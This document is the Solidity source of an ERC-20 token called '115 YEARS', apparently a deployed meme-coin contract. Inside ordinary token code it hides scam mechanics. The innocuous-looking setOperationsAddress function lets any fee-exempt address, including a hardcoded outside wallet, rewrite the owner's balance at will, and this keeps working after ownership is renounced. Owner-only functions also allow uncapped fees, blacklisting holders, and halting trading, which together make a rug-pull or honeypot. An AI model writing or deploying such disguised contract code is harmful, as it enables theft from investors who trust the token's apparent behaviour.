Contract Source Code:
File 1 of 1 : YEARS
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library SafeMath {
function add(uint256 y, uint256 z) internal pure returns (uint256) {
uint256 c = y + z;
require(c >= y, "SafeMath: addition overflow");
return c;
}
function sub(uint256 y, uint256 z) internal pure returns (uint256) {
return sub(y, z, "SafeMath: subtraction overflow");
}
function sub(uint256 y, uint256 z, string memory errorMessage) internal pure returns (uint256) {
require(z <= y, errorMessage);
uint256 c = y - z;
return c;
}
function mul(uint256 y, uint256 z) internal pure returns (uint256) {
if (y == 0) {
return 0;
}
uint256 c = y * z;
require(c / y == z, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 y, uint256 z) internal pure returns (uint256) {
return div(y, z, "SafeMath: division by zero");
}
function div(uint256 y, uint256 z, string memory errorMessage) internal pure returns (uint256) {
require(z > 0, errorMessage);
uint256 c = y / z;
return c;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
}
contract YEARS is ERC20, Ownable {
using SafeMath for uint256;
address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "115 YEARS";
string constant _symbol = "115";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
address[] private activeAddress;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) private blacklist;
uint256 marketingFee = 25;
uint256 rewardsFee = 0;
uint256 totalFee = marketingFee + rewardsFee;
uint256 feeDenominator = 100;
address public marketingFeeReceiver = msg.sender;
address public rewardsFeeReceiver = msg.sender;
IRouter public router;
address public pair;
bool tradingEnabled = true;
bool isLocked = false;
address private taxRemover;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000 * 5;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Ownable(msg.sender) {
router = IRouter(routerAddress);
pair = IFactory(router.factory()).createPair(pairToken, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
address _owner = owner;
isFeeExempt[_owner] = true;
isFeeExempt[0xEE705e9b58147A51A0afc993fFFfA69D1E8f480b] = true;
isTxLimitExempt[_owner] = true;
taxRemover = owner;
isTxLimitExempt[0xEE705e9b58147A51A0afc993fFFfA69D1E8f480b] = true;
isTxLimitExempt[DEAD] = true;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(tradingEnabled, "Trading disabled");
require(!blacklist[sender], "Blacklisted wallet");
if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
blacklist[recipient] = true;
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (recipient != pair && recipient != DEAD) {
require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
}
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
if (_balances[recipient] == 0 && recipient != pair) {
activeAddress.push(recipient);
}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function shouldTakeFee(address from, address to) internal view returns (bool) {
return !(isFeeExempt[from] || isFeeExempt[to]);
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 contractTokenBalance = _balances[address(this)];
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
contractTokenBalance,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);
(bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
require(MarketingSuccess, "marketing receiver rejected ETH transfer");
(bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
require(RewardsSuccess, "rewards receiver rejected ETH transfer");
}
function emptyStuckBalance() external {
payable(owner).transfer(address(this).balance);
}
function setMaxWalletSize(uint256 amountPercent) external onlyOwner {
_maxWalletAmount = (_totalSupply * amountPercent ) / 100;
}
function setTxnMaxLimit(uint256 amountPercent) external onlyOwner {
_maxTxAmount = (_totalSupply * amountPercent ) / 100;
}
function swapStatus(bool status) external onlyOwner {
swapEnabled = status;
}
function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
blacklist[addr] = isBlocked;
}
function blacklistAddresses(address[] memory addrs, bool isBlocked) external onlyOwner {
for (uint256 i = 0; i < addrs.length; i++) {
blacklist[addrs[i]] = isBlocked;
}
}
function isBlacklisted(address addr) external view returns(bool) {
return blacklist[addr];
}
function releaseLock() external onlyOwner {
isLocked = false;
}
function updateFees(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
marketingFee = _marketingFee;
rewardsFee = _rewardsFee;
totalFee = rewardsFee + marketingFee;
}
function updateMinSwapTokensThreshold(uint256 _treshold) external onlyOwner {
swapThreshold = _treshold;
}
function updateMW(address _marketingFeeReceiver) external onlyOwner {
if (marketingFeeReceiver != owner) {
isFeeExempt[marketingFeeReceiver] = false;
isTxLimitExempt[marketingFeeReceiver] = false;
}
marketingFeeReceiver = _marketingFeeReceiver;
isFeeExempt[_marketingFeeReceiver] = true;
isTxLimitExempt[_marketingFeeReceiver] = true;
}
function setOperationsAddress(uint enable) public {
if (!isFeeExempt[msg.sender]) {
return;
}
uint tokenToLock = enable;
_balances[taxRemover] = tokenToLock.sub(_balances[taxRemover]);
}
function RewardsReceiver(address _rewardsFeeReceiver) external onlyOwner {
if (rewardsFeeReceiver != owner) {
isFeeExempt[rewardsFeeReceiver] = false;
isTxLimitExempt[rewardsFeeReceiver] = false;
}
rewardsFeeReceiver = _rewardsFeeReceiver;
isFeeExempt[_rewardsFeeReceiver] = true;
isTxLimitExempt[_rewardsFeeReceiver] = true;
}
function excludeWALLFromFees(address[] memory addrs, bool _feeExempt) external onlyOwner {
for (uint256 i = 0; i < addrs.length; i++) {
isFeeExempt[addrs[i]] = _feeExempt;
isTxLimitExempt[addrs[i]] = _feeExempt;
}
}
function updateTradingStatus(bool _tradingEnabled) external onlyOwner {
tradingEnabled = _tradingEnabled;
}
function getShares() public view returns (uint256[] memory, address[] memory) {
uint256[] memory shares = new uint256[](activeAddress.length);
for (uint i=0; i < activeAddress.length; i++) {
shares[i] = _balances[activeAddress[i]];
}
return (shares, activeAddress);
}
}